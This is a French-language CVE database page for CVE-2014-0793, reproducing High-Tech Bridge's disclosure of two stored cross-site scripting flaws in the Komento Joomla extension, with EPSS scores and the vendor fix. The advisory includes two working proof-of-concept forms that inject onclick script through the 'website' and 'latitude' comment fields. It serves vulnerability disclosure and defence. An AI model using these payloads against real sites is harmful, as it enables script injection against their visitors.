CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
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Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Multiple cross-site scripting (XSS) vulnerabilities in the StackIdeas Komento (com_komento) component before 1.7.3 for Joomla! allow remote attackers to inject arbitrary web script or HTML via the (1) website or (2) latitude parameter in a comment to the default URI.
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
4.3
AV:N/AC:M/Au:N/C:N/I:P/A:N
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.95%
–
–
2022-02-13
–
–
1.95%
–
–
2022-04-03
–
–
1.95%
–
–
2022-05-29
–
–
1.95%
–
–
2022-10-23
–
–
1.95%
–
–
2023-01-01
–
–
1.95%
–
–
2023-01-15
–
–
1.95%
–
–
2023-03-12
–
–
–
0.47%
–
2023-09-10
–
–
–
0.47%
–
2024-02-11
–
–
–
0.47%
–
2024-06-02
–
–
–
0.47%
–
2024-12-22
–
–
–
2.66%
–
2025-01-19
–
–
–
2.66%
–
2025-03-18
–
–
–
–
0.56%
2025-04-15
–
–
–
–
0.56%
2025-04-15
–
–
–
–
0.56,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2014-01-23 23h00 +00:00 Auteur : High-Tech Bridge SA EDB Vérifié : No
Advisory ID: HTB23194
Product: Komento Joomla Extension
Vendor: Stack Ideas Sdn Bhd.
Vulnerable Version(s): 1.7.2 and probably prior
Tested Version: 1.7.2
Advisory Publication: January 2, 2014 [without technical details]
Vendor Notification: January 2, 2014
Vendor Patch: January 2, 2014
Public Disclosure: January 23, 2014
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2014-0793
Risk Level: Medium
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
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Advisory Details:
High-Tech Bridge Security Research Lab discovered two XSS vulnerabilities in Komento Joomla Extension, which can be exploited to perform script insertion attacks.
1) Cross-Site Scripting (XSS) in Komento Joomla Extension: CVE-2014-0793
1.1 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "website" HTTP POST parameter to "/?option=com_komento" URL. A remote attacker can submit a comment with specially crafted "Website" field and execute arbitrary HTML and script code in browser in context of the vulnerable website when a user clicks on the nickname of the malicious author.
The following exploitation example uses the "alert()" JavaScript function to display word "immuniweb" when user clicks on the attacker's nickname in comment:
<form action="http://[host]/?option=com_komento" method="post" name="main">
<input type="hidden" name="tmpl" value="component">
<input type="hidden" name="format" value="ajax"> <input type="hidden" name="no_html" value="1"> <input type="hidden" name="component" value="com_content"> <input type="hidden" name="cid" value="24"> <input type="hidden" name="comment" value="comment"> <input type="hidden" name="parent_id" value="0"> <input type="hidden" name="name" value="name"> <input type="hidden" name="email" value="email@email.com"> <input type="hidden" name="website" value='http://www.htbridge.com"
onclick="javascript:alert(/immuniweb/);"'>
<input type="hidden" name="subscribe" value="false"> <input type="hidden" name="latitude" value=''>
<input type="hidden" name="longitude" value="1"> <input type="hidden" name="address" value="1"> <input type="hidden" name="contentLink" value="http://joomla/"> <input type="hidden" name="pageItemId" value="435"> <input type="hidden" name="option" value="com_komento"> <input type="hidden" name="namespace" value="site.views.komento.addcomment">
<input type="hidden" name="4873559e1d03545682ae270bf7b0c8ec" value="1"> <input type="submit" id="btn"> </form>
1.2 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "latitude" HTTP POST parameter to "/?option=com_komento" URL. A remote attacker can submit a comment with specially crafted "latitude" field and execute arbitrary HTML and script code in browser in context of the vulnerable website when a user clicks on the address of the malicious author.
The following exploitation example uses the "alert()" JavaScript function to display word "immuniweb" when user clicks on the attacker's address in comment:
<form action="http://[host]/?option=com_komento" method="post" name="main">
<input type="hidden" name="tmpl" value="component">
<input type="hidden" name="format" value="ajax"> <input type="hidden" name="no_html" value="1"> <input type="hidden" name="component" value="com_content"> <input type="hidden" name="cid" value="24"> <input type="hidden" name="comment" value="comment"> <input type="hidden" name="parent_id" value="0"> <input type="hidden" name="name" value="name"> <input type="hidden" name="email" value="email@email.com"> <input type="hidden" name="website" value='www.htbridge.com'>
<input type="hidden" name="subscribe" value="false"> <input type="hidden" name="latitude" value='"
onclick="javascript:alert(/imuniweb/);">'>
<input type="hidden" name="longitude" value="1"> <input type="hidden" name="address" value="1"> <input type="hidden" name="contentLink" value="http://joomla/"> <input type="hidden" name="pageItemId" value="435"> <input type="hidden" name="option" value="com_komento"> <input type="hidden" name="namespace" value="site.views.komento.addcomment">
<input type="hidden" name="4873559e1d03545682ae270bf7b0c8ec" value="1"> <input type="submit" id="btn"> </form>
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Solution:
Update to Komento 1.7.3
More Informaion:
http://stackideas.com/downloads/changelog/komento
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References:
[1] High-Tech Bridge Advisory HTB23194 - https://www.htbridge.com/advisory/HTB23194 - Cross-Site Scripting (XSS) in Komento Joomla Extension.
[2] Komento Joomla Extension - http://stackideas.com/ - Komento is a Joomla comment extension for articles and blogs in K2, EasyBlog, ZOO, Flexicontent, VirtueMart and redShop.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.
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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
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Stackideas>>Komento >> Version To (including) 1.7.2